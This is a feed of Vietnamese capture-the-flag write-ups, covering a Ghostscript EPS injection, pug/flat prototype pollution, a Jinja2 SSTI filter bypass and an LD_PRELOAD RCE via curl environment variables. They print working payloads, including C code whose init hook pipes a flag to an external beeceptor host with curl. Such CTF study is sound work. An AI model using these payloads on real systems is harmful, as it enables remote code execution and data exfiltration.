        <span class="hljs-string">"-dNOPAUSE"</span>,  <span class="hljs-comment"># don't pause between pages</span>
        <span class="hljs-string">"-dSAFER"</span>,  <span class="hljs-comment"># safe mode</span>
        <span class="hljs-string">"-sDEVICE=ppmraw"</span>,  <span class="hljs-comment"># ppm driver</span>
        <span class="hljs-string">"-sOutputFile=%s"</span> % outfile,  <span class="hljs-comment"># output file</span>
        <span class="hljs-comment"># adjust for image origin</span>
        <span class="hljs-string">"-c"</span>,
        <span class="hljs-string">"%d %d translate"</span> % (-bbox[<span class="hljs-number">0</span>], -bbox[<span class="hljs-number">1</span>]),
        <span class="hljs-string">"-f"</span>,
        infile,  <span class="hljs-comment"># input file</span>
        <span class="hljs-comment"># showpage (see https://bugs.ghostscript.com/show_bug.cgi?id=698272)</span>
        <span class="hljs-string">"-c"</span>,
        <span class="hljs-string">"showpage"</span>,
    ]

    ...

    <span class="hljs-comment"># push data through Ghostscript</span>
    <span class="hljs-keyword">try</span>:
        startupinfo = <span class="hljs-literal">None</span>
        <span class="hljs-keyword">if</span> sys.platform.startswith(<span class="hljs-string">"win"</span>):
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        subprocess.check_call(command, startupinfo=startupinfo)
        im = Image.open(outfile)
        im.load()
    <span class="hljs-keyword">finally</span>:
        ...
</code></pre>
<p>Và GhostScript tồn lại<a target="_blank" href="https://seclists.org/oss-sec/2018/q3/142"> lỗ hổng Command Injection</a>. Tuy việc Web đã filter extension đầu vào rồi tuy nhiên Pillow tự động xác định filetype của EPS thông quan header ví dụ như <code>!PS-Adobe-3.0 EPSF-3.0</code>Do đó, việc upload  và xử lý thông qua Pillow có thể dấn đến Command Injection.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">petpet</span>(<span class="hljs-params">file</span>):</span>

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> allowed_file(file.filename):
        <span class="hljs-keyword">return</span> {<span class="hljs-string">'status'</span>: <span class="hljs-string">'failed'</span>, <span class="hljs-string">'message'</span>: <span class="hljs-string">'Improper filename'</span>}, <span class="hljs-number">400</span>

    <span class="hljs-keyword">try</span>:

        tmp_path = save_tmp(file)

        bee = Image.open(tmp_path).convert(<span class="hljs-string">'RGBA'</span>)
        frames = [Image.open(f) <span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> sorted(glob.glob(<span class="hljs-string">'application/static/img/*'</span>))]
        finalpet = petmotion(bee, frames)

        filename = <span class="hljs-string">f'<span class="hljs-subst">{generate(<span class="hljs-number">14</span>)}</span>.gif'</span>
        finalpet[<span class="hljs-number">0</span>].save(
            <span class="hljs-string">f'<span class="hljs-subst">{main.app.config[<span class="hljs-string">"UPLOAD_FOLDER"</span>]}</span>/<span class="hljs-subst">{filename}</span>'</span>, 
            save_all=<span class="hljs-literal">True</span>, 
            duration=<span class="hljs-number">30</span>, 
            loop=<span class="hljs-number">0</span>, 
            append_images=finalpet[<span class="hljs-number">1</span>:], 
        )

        os.unlink(tmp_path)

        <span class="hljs-keyword">return</span> {<span class="hljs-string">'status'</span>: <span class="hljs-string">'success'</span>, <span class="hljs-string">'image'</span>: <span class="hljs-string">f'static/petpets/<span class="hljs-subst">{filename}</span>'</span>}, <span class="hljs-number">200</span>

    <span class="hljs-keyword">except</span>:
        <span class="hljs-keyword">return</span> {<span class="hljs-string">'status'</span>: <span class="hljs-string">'failed'</span>, <span class="hljs-string">'message'</span>: <span class="hljs-string">'Something went wrong'</span>}, <span class="hljs-number">500</span>
</code></pre>
<p>Và bài viết phía trên cung cấp luôn PoC rồi nên mình sử dụng luôn. Để đơn giản nên mình Exfiltration thông qua folder static luôn. PoC sẽ như sau</p>
<pre><code class="lang-python">%!PS-Adobe<span class="hljs-number">-3.0</span> EPSF<span class="hljs-number">-3.0</span>
%%BoundingBox: <span class="hljs-number">-0</span> <span class="hljs-number">-0</span> <span class="hljs-number">100</span> <span class="hljs-number">100</span>

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } <span class="hljs-keyword">if</span>
{ legal } stopped { pop } <span class="hljs-keyword">if</span>
restore
mark /OutputFile (%pipe%cp /app/flag /app/application/static) currentdevice putdeviceprops
</code></pre>
<p>Và lấy flag xuống thôi :v</p>
<pre><code class="lang-python">&gt;&gt; curl http://<span class="hljs-number">188.166</span><span class="hljs-number">.173</span><span class="hljs-number">.208</span>:<span class="hljs-number">30218</span>/static/flag                    
HTB{c0mfy_bzzzzz_rcb33s_v1b3s}%
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Gunship]]></title><description><![CDATA[Tóm tắt
Bài này là một bài White Box khi mà được cung cấp cả Source Code. 
Gunship là một Web Application được code bằng Nodejs có sử dụng phiên bản thư viện tồn tại lỗ hổng Prototype Pollution.  
Walkthrough
Lướt qua ứng dụng thì có duy nhất một tín...]]></description><link>https://blog.d3s34.me/gunship</link><guid isPermaLink="true">https://blog.d3s34.me/gunship</guid><category><![CDATA[crypto]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Nguyen Dinh Bien]]></dc:creator><pubDate>Wed, 19 Jan 2022 15:31:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606263919/DASj5ewOF.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-tom-tat">Tóm tắt</h3>
<p>Bài này là một bài White Box khi mà được cung cấp cả Source Code. </p>
<p>Gunship là một Web Application được code bằng Nodejs có sử dụng phiên bản thư viện tồn tại lỗ hổng Prototype Pollution.  </p>
<h3 id="heading-walkthrough">Walkthrough</h3>
<p>Lướt qua ứng dụng thì có duy nhất một tính năng là tên xong trả về lời chào ._.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606263919/DASj5ewOF.png" alt="image (1).png" />
<a target="_blank" href="../../../.gitbook/assets/image%20%281%29.png"></a></p>
<p>Chúng ta cũng được cung cấp luôn source code.</p>
<p> Có 2 endpoint trong đó API khá dài, có thể lỗi ở đây.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> path              = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);
<span class="hljs-keyword">const</span> express           = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> pug                = <span class="hljs-built_in">require</span>(<span class="hljs-string">'pug'</span>);
<span class="hljs-keyword">const</span> { unflatten }     = <span class="hljs-built_in">require</span>(<span class="hljs-string">'flat'</span>);
<span class="hljs-keyword">const</span> router            = express.Router();

router.get(<span class="hljs-string">'/'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">return</span> res.sendFile(path.resolve(<span class="hljs-string">'views/index.html'</span>));
});

router.post(<span class="hljs-string">'/api/submit'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> { artist } = unflatten(req.body);

    <span class="hljs-keyword">if</span> (artist.name.includes(<span class="hljs-string">'Haigh'</span>) || artist.name.includes(<span class="hljs-string">'Westaway'</span>) || artist.name.includes(<span class="hljs-string">'Gingell'</span>)) {
        <span class="hljs-keyword">return</span> res.json({
            <span class="hljs-string">'response'</span>: pug.compile(<span class="hljs-string">'span Hello #{user}, thank you for letting us know!'</span>)({ <span class="hljs-attr">user</span>: <span class="hljs-string">'guest'</span> })
        });
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">return</span> res.json({
            <span class="hljs-string">'response'</span>: <span class="hljs-string">'Please provide us with the full name of an existing member.'</span>
        });
    }
});

<span class="hljs-built_in">module</span>.exports = router;
</code></pre>
<p>Bài này mình nhận ra ngay ở lúc đọc source. Sử dụng <code>Pug</code> là một template engine để compile thành html và sử dụng <code>flat</code> để <code>unflatten</code> dữ liệu. Hai thư viện này đã tồn tại lỗi ở một số phiên bản trước, 2 phiên bản này mình từng phân tích ở  <a target="_blank" href="https://github.com/biennd279/pug-ast">https://github.com/biennd279/pug-ast</a> dựa trên bài <a target="_blank" href="https://blog.p6.is/AST-Injection/">https://blog.p6.is/AST-Injection/</a> nên mình check luôn ở file <code>package.json</code> thì đúng vậy.</p>
<pre><code class="lang-javascript">{
    <span class="hljs-comment">/** **/</span>
    <span class="hljs-string">"dependencies"</span>: {
        <span class="hljs-string">"express"</span>: <span class="hljs-string">"^4.17.1"</span>,
        <span class="hljs-string">"flat"</span>: <span class="hljs-string">"5.0.0"</span>,
        <span class="hljs-string">"pug"</span>: <span class="hljs-string">"^3.0.0"</span>
    }
}
</code></pre>
<p>Nên sử dụng luôn Payload mình đã từng viết. Mình đẩy qua static để lấy được folder hiện tại đỡ phải đẩy ra bên ngoài.</p>
<pre><code class="lang-javascript">{
    <span class="hljs-string">"artist.name"</span>:<span class="hljs-string">"Haigh dasea"</span>,
    <span class="hljs-string">"__proto__.block"</span>: {
        <span class="hljs-string">"type"</span>: <span class="hljs-string">"Text"</span>, 
        <span class="hljs-string">"line"</span>: <span class="hljs-string">"process.mainModule.require('child_process').execSync('ls &gt; /app/static/pwd')"</span>
    }
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606274226/El40tNjks.png" alt="image (2).png" /></p>
<p>Và lấy đẩy flag qua static và lấy flag về thôi.</p>
<pre><code class="lang-bash">{
    <span class="hljs-string">"artist.name"</span>:<span class="hljs-string">"Haigh dasea"</span>,
    <span class="hljs-string">"__proto__.block"</span>: {
         <span class="hljs-string">"type"</span>: <span class="hljs-string">"Text"</span>, 
         <span class="hljs-string">"line"</span>: <span class="hljs-string">"process.mainModule.require('child_process').execSync('cp /app/flag0HKDx /app/static/flag')"</span>
    }
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642606283554/6EU-i1s4q.png" alt="image (3).png" /></p>
]]></content:encoded></item><item><title><![CDATA[csaw21-ctf]]></title><description><![CDATA[ninja
Đầu tiên, khi vào chúng ta có duy nhất một URL dẫn đến một Page. Page này cho phép ta nhập tên và render ra lời chào tới tên đó. Lỗ hổng dễ nhận ra đó là SSTI tương tự bài Templated. 

Cách exploit tương tự bài Templated ở trên tuy nhiên, chúng...]]></description><link>https://blog.d3s34.me/csaw21-ctf</link><guid isPermaLink="true">https://blog.d3s34.me/csaw21-ctf</guid><category><![CDATA[Security]]></category><dc:creator><![CDATA[Nguyen Dinh Bien]]></dc:creator><pubDate>Wed, 19 Jan 2022 14:23:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1642602100131/M4VBc7cfP.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-ninja">ninja</h1>
<p>Đầu tiên, khi vào chúng ta có duy nhất một URL dẫn đến một Page. Page này cho phép ta nhập tên và render ra lời chào tới tên đó. Lỗ hổng dễ nhận ra đó là SSTI tương tự bài <a target="_blank" href="https://ctf.d3s34.me/hackthebox/challenge/templated">Templated</a>. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642602100131/M4VBc7cfP.png" alt="screenshot-from-2021-09-13-01-38-25.png" /></p>
<p>Cách exploit tương tự bài Templated ở trên tuy nhiên, chúng ta bị filter các keyword cho là nguy hiểm...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642602135509/F7Z8R0KUy.png" alt="screenshot-from-2021-09-11-11-28-20.png" /></p>
<p> Vậy là chúng ta bị filter <code>_</code> và <code>base</code>. Cần tìm được cách bypass được các filter này. Mình tìm được bài <a target="_blank" href="https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f">này</a> và bài <a target="_blank" href="https://0day.work/jinja2-template-injection-filter-bypasses/">này</a>. Nên chúng ta có các quy tắc thay thế sau: </p>
<ul>
<li>Sử dụng <code>attr()</code> để gọi các <code>attribute</code> của tham số.</li>
<li>Các tham số được truyền thông qua <code>|</code> tương tự pipeline.</li>
<li>Ký tự <code>_</code> được thay thế bằng <code>\x5f</code></li>
<li>Khi tham chiếu đến các phần tử thì sử dụng <code>__getitem()__</code> <em>thay cho <code>[ ]</code></em></li>
</ul>
<p>Và do từ khóa <code>base</code> bị filter nên đương nhiên ta sẽ dùng qua MRO.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642602148344/gSd1pU1s0.png" alt="screenshot-from-2021-09-11-11-25-24.png" /></p>
<p>Ở bài Templated thì mình có dùng slice để tìm được class <code>Popen</code> nhanh nhưng ở đây tìm phép thay thế có vẻ mất thời gian nên mình có học theo bài trên medium là dùng Python để tìm index bằng cơm :v</p>
<pre><code class="lang-python">file = open(<span class="hljs-string">"lol.txt"</span>, <span class="hljs-string">"r"</span>)
    lst = file.read().split(<span class="hljs-string">","</span>)
    <span class="hljs-keyword">for</span> index, value <span class="hljs-keyword">in</span> enumerate(lst):
        <span class="hljs-keyword">if</span> value.find(<span class="hljs-string">"Popen"</span>) != <span class="hljs-number">-1</span>:
            print(index, value)
</code></pre>
<p> Tìm được index rồi thì pass tham số vào thôi!</p>
<p>Payload đầy đủ sẽ như sau</p>
<pre><code class="lang-python">http://web.chal.csaw.io:<span class="hljs-number">5000</span>/submit?value={<span class="hljs-string">""</span>|attr(<span class="hljs-string">"\x5f\x5fclass\x5f\x5f"</span>)|attr(<span class="hljs-string">"\x5f\x5fmro\x5f\x5f"</span>)|attr(<span class="hljs-string">"\x5f\x5fgetitem\x5f\x5f"</span>)(<span class="hljs-number">2</span>)|attr(<span class="hljs-string">"\x5f\x5fsubclasses\x5f\x5f"</span>)()|attr(<span class="hljs-string">"\x5f\x5fgetitem\x5f\x5f"</span>)(<span class="hljs-number">258</span>)(<span class="hljs-string">"cat flag.txt"</span>,shell=<span class="hljs-literal">True</span>,stdout=<span class="hljs-number">-1</span>)|attr(<span class="hljs-string">"communicate"</span>)()}}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642602201633/wQQJXlkrD.png" alt="screenshot-from-2021-09-11-11-26-11.png" /></p>
]]></content:encoded></item><item><title><![CDATA[asis-ctf]]></title><description><![CDATA[cuuurl

cUrl, nhưng không phải Command Injection, mà là Environment Variable to RCE ._.
Tiếp tục là một bài Whitebox tiếp =)) 

Walkthrough
Vừa vào thử luôn trang web xem có gì luôn nhỉ 

Response có đoạn xin chào mình vào để ý ở trên URL thì có đườn...]]></description><link>https://blog.d3s34.me/asis-ctf</link><guid isPermaLink="true">https://blog.d3s34.me/asis-ctf</guid><dc:creator><![CDATA[Nguyen Dinh Bien]]></dc:creator><pubDate>Sat, 15 Jan 2022 15:59:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1642262208032/pw-dIsgsu.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-cuuurl">cuuurl</h1>
<blockquote>
<p>cUrl, nhưng không phải Command Injection, mà là Environment Variable to RCE ._.</p>
<p>Tiếp tục là một bài Whitebox tiếp =)) </p>
</blockquote>
<h3 id="heading-walkthrough">Walkthrough</h3>
<p>Vừa vào thử luôn trang web xem có gì luôn nhỉ </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642262145082/ZEP7IuZqd.png" alt="intro" /></p>
<p>Response có đoạn xin chào mình vào để ý ở trên URL thì có đường dẫn tới file. Có vẻ bài này liên quan tới lỗ hổng Arbitrary file read roài.</p>
<p>Thử xem xét mã nguồn luôn nào</p>
<pre><code><span class="hljs-meta">@app.route('/')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">index</span>():</span>  <span class="hljs-comment"># Poor coding skills :( can't even get process output properly</span>
    url = request.args.get(<span class="hljs-string">'url'</span>) <span class="hljs-keyword">or</span> <span class="hljs-string">"http://localhost:8000/sayhi"</span>
    env = request.args.get(<span class="hljs-string">'env'</span>) <span class="hljs-keyword">or</span> <span class="hljs-literal">None</span>
    outputFilename = request.args.get(<span class="hljs-string">'file'</span>) <span class="hljs-keyword">or</span> <span class="hljs-string">"myreg rets.txt"</span>
    outputFolder = <span class="hljs-string">f"./outputs/<span class="hljs-subst">{hashlib.md5(request.remote_addr.encode()).hexdigest()}</span>"</span>
    result = <span class="hljs-string">""</span>

    <span class="hljs-keyword">if</span> env:
        env = env.split(<span class="hljs-string">"="</span>)
        env = {env[<span class="hljs-number">0</span>]: env[<span class="hljs-number">1</span>]}
    <span class="hljs-keyword">else</span>:
        env = {}

    master, slave = pty.openpty()
    os.set_blocking(master, <span class="hljs-literal">False</span>)
    <span class="hljs-keyword">try</span>:
        subprocess.run([<span class="hljs-string">"/usr/bin/curl"</span>, <span class="hljs-string">"--url"</span>, url], stdin=slave, stdout=slave, env=env, timeout=<span class="hljs-number">3</span>, )
        result = os.read(master, <span class="hljs-number">0x4000</span>)
    <span class="hljs-keyword">except</span>:
        os.close(slave)
        os.close(master)
        <span class="hljs-keyword">return</span> <span class="hljs-string">'??'</span>, <span class="hljs-number">200</span>, {<span class="hljs-string">'content-type'</span>: <span class="hljs-string">'text/plain;charset=utf-8'</span>}

    os.close(slave)
    os.close(master)

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> os.path.exists(outputFolder):
        os.mkdir(outputFolder)

    <span class="hljs-keyword">if</span> <span class="hljs-string">"/"</span> <span class="hljs-keyword">in</span> outputFilename:
        outputFilename = secrets.token_urlsafe(<span class="hljs-number">0x10</span>)

    <span class="hljs-keyword">with</span> open(<span class="hljs-string">f"<span class="hljs-subst">{outputFolder}</span>/<span class="hljs-subst">{outputFilename}</span>"</span>, <span class="hljs-string">"wb"</span>) <span class="hljs-keyword">as</span> f:
        f.write(result)

    <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">f"/view?file=<span class="hljs-subst">{outputFilename}</span>"</span>, code=<span class="hljs-number">302</span>)
</code></pre><p>Hàm chính được sử dụng ở route index, cho phép tải Url bất kì vào lưu và chỉ định file bất kì vào trong Folder outputs của mình (ở đây được định danh bằng mã hash của remote IP). Tên file cũng được validate để tránh mình đẩy file ra ngoài thư mục được phép. Ngoài ra mình còn được xét biến môi trường tùy ý.</p>
<pre><code>@app.route(<span class="hljs-string">'/view'</span>)
def <span class="hljs-keyword">view</span>():
    outputFolder <span class="hljs-operator">=</span> f<span class="hljs-string">"./outputs/{hashlib.md5(request.remote_addr.encode()).hexdigest()}"</span>
    outputFilename <span class="hljs-operator">=</span> request.args.get(<span class="hljs-string">'file'</span>)

    <span class="hljs-keyword">if</span> not outputFilename or <span class="hljs-string">"/"</span> in outputFilename or not os.path.exists(f<span class="hljs-string">'{outputFolder}/{outputFilename}'</span>):
        <span class="hljs-keyword">return</span> <span class="hljs-string">'???'</span>, <span class="hljs-number">404</span>, {<span class="hljs-string">'content-type'</span>: <span class="hljs-string">'text/plain;charset=utf-8'</span>}

    with open(f<span class="hljs-string">'{outputFolder}/{outputFilename}'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
        <span class="hljs-keyword">return</span> f.read(), <span class="hljs-number">200</span>, {<span class="hljs-string">'content-type'</span>: <span class="hljs-string">'text/plain;charset=utf-8'</span>}
</code></pre><p>Tiếp tục hàm view này trả về nội dung file đã lưu trước đó trong thư mục của mình. Nhưng cũng được validate để tránh đọc file lung tung. Nên cũng không đọc được dữ liệu gì từ đây, bắt buộc phải điều khiển được dữ liệu đầu vào.</p>
<p>Hm...kinh nghiệm mình làm một số bài trước đây thì nếu cUrl cho phép nhập trực tiếp Url thì có thể Command Injection luôn ấy nhỉ? Nhưng giá trị Shell trong trong subprocess không được để là true nên giá trị thì nó cũng đẩy thành string chứ không injection được :disappointed_relieved: Không lên thẳng được shell phải tìm các lỗ hổng khác xem, mình điều khiển được khá nhiều giá trị mà :-D .</p>
<p>Không thể command injection qua Url nhưng mình có thể điều khiển được nó mà? cUrl hỗ trợ nhiều giao thức <a target="_blank" href="https://curl.se/docs/manpage.html">cUrl manual</a> trong đó có giao thức file nên mình có thể đi đâu trả được :-D</p>
<pre><code class="lang-shell">➜  ~ curl http://localhost:8000/\?url\=file:///etc/passwd -L

root:x:0:0:root:/root:/bin/bash
...
app:x:1000:1000::/home/app:/bin/sh
</code></pre>
<p>Nhưng mà flag lại không đọc được :"&lt;</p>
<pre><code>FROM python:<span class="hljs-number">3</span>

RUN apt<span class="hljs-operator">-</span>get update <span class="hljs-operator">-</span>y
RUN apt<span class="hljs-operator">-</span>get install <span class="hljs-operator">-</span>y curl
RUN pip3 install flask

WORKDIR <span class="hljs-operator">/</span>app

COPY ./flag.txt <span class="hljs-operator">/</span>flag.txt
COPY ./stuff<span class="hljs-operator">/</span>readflag <span class="hljs-operator">/</span>readflag
COPY ./stuff<span class="hljs-operator">/</span>app.py ./app.py
RUN chmod <span class="hljs-number">400</span> <span class="hljs-operator">/</span>flag.txt
RUN chmod <span class="hljs-number">111</span> <span class="hljs-operator">/</span>readflag
RUN chmod <span class="hljs-operator">+</span>s <span class="hljs-operator">/</span>readflag
RUN chmod <span class="hljs-operator">+</span>x ./app.py
RUN useradd <span class="hljs-operator">-</span>m app
RUN mkdir <span class="hljs-operator">/</span>app<span class="hljs-operator">/</span>outputs
RUN chown app <span class="hljs-operator">/</span>app<span class="hljs-operator">/</span>outputs


USER app
CMD [ <span class="hljs-string">"/app/app.py"</span> ]
</code></pre><p>Quyền sở hữu root, phân quyền 400. Tức là chỉ có root mới đọc được. Nhưng may thay <code>readflag</code> được set sticky bit nên nó đọc được, cũng tức là quay lại việc tìm cách RCE chứ không phải chỉ là đọc ghi file.</p>
<p>Quay lại phía trên thì còn biến môi trường mình có thể điều khiển được, cũng tức là đây có thể là lựa chọn duy nhất nếu muốn RCE. Lang thang tìm kiếm theo keyword về việc RCE thông qua biến môi trường thì tìm được bài <a target="_blank" href="https://axcheron.github.io/playing-with-ld\_preload/">Playing with LD_PRELOAD</a>.</p>
<p>Hmm...Tức là có thể hook được command thông qua set biến môi trường <code>LD_PRELOAD</code> à. Tiếp tục đọc thêm vào được giúp đỡ của team mình thì mình định hình được như sau:</p>
<ul>
<li><code>LD_PRELOAD</code> là biến được dùng để trỏ đến các thư viện (shared lib) để tải lên trước.</li>
<li>Các hàm này sẽ được tải lên đầu tiên đồng thời cũng override lại các hàm sau này.</li>
<li>hàm <code>void _init()</code> sẽ được thực thi đầu tiên để khởi tạo nếu cần.</li>
<li>Tránh đệ quy nếu tiếp tục gọi subprocess thì cần <code>unset("LD_PRELOAD")</code> trước khi gọi các subprocess tiếp :"&lt; .</li>
</ul>
<p>Như vậy là việc đầu tiên cần làm là tạo ra một shared lib để có thể đẩy cho các bước sau đó, để khi thực thi cUrl ta sẽ đặt biến môi trường tới nó để Trigger được lệnh.</p>
<p>Lâu không code <code>C</code> với việc ngáo ngơ các biến môi trường trên thì với sự giúp đỡ của team mình tạo được thư viện có thể trigger để làm payload như sau.</p>
<pre><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;string.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;sys/types.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>

<span class="hljs-keyword">void</span> _init() {
    unsetenv(<span class="hljs-string">"LD_PRELOAD"</span>);
    system(<span class="hljs-string">"/readflag | curl https://biennd4.free.beeceptor.com/ -d @-"</span>);
}
</code></pre><p>Complie nó thành shared lib và đẩy lên server để tẹo tải về bằng cUrl.</p>
<pre><code class="lang-shell">➜  ~ gcc -fPIC -shared -o hsvcs.so hsvcs.c -nostartfiles
</code></pre>
<p>Tiếp tục kéo về thưc mục của mình và thêm Env thôi nhưng lại có lỗi xảy ra đó là cUrl không hiển thị file binary mà bắt buộc phải đặt output ra file. Nhưng mình có thể chèn thêm được gì ngoài Url đâu :cry:</p>
<p>Tiếp tục một sự giúp đỡ đến từ team HsVcs khi cho biết cUrl sẽ sử dụng config mặc định thông qua <code>.curlrc</code>, nó thường lưu tại <code>$HOME/.curlrc</code> với HOME ở đây tham khảo <a target="_blank" href="https://curl.se/docs/manpage.html">cUrl manual</a> là biến môi trường mà mình đặt cho cUrl mà mình có thể điều khiển được biến môi trường. Vậy là việc đầu tiên phải là đẩy lên được file config đẩy lên để sử dụng nó để kéo được thư viện kia về.</p>
<pre><code class="lang-shell">➜  ~ curl http://65.108.152.108:5001/\?url\=https://biennd4.free.beeceptor.com/config\&amp;file\=.curlrc -L                         
--output /tmp/hsvcs.so%
</code></pre>
<p>Để kéo thư viện kia về cần trỏ thư mục của mình thành <code>$HOME</code>, nó cũng không có gì do việc tính hash remote ip <code>hashlib.md5(request.remote_addr.encode()).hexdigest()</code> của mình nhưng không hiểu sao mình dùng VPS mới ra đúng được folder. Hay máy mình dùng IPv6 bị NAT lại thành IPv4 nên có lỗi này nhỉ.</p>
<pre><code class="lang-shell">➜  ~ curl http://65.108.152.108:5001/\?url\=https://d3s34.me/hsvcs.so\&amp;env\=HOME%3D/app/outputs/8821b33244ff93dd962f963b7284dfeb
??%
</code></pre>
<p>Việc cuối cùng là đặt lại <code>LD_PRELOAD</code> để lấy flag thôi :sunglasses:.</p>
<pre><code class="lang-shell">➜  ~ http://65.108.152.108:5001/\?url\=https://d3s34.me/&amp;env=LD_PRELOAD%3d/tmp/hsvcs.so
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1642262208032/pw-dIsgsu.png" alt="flag" /></p>
]]></content:encoded></item></channel></rss>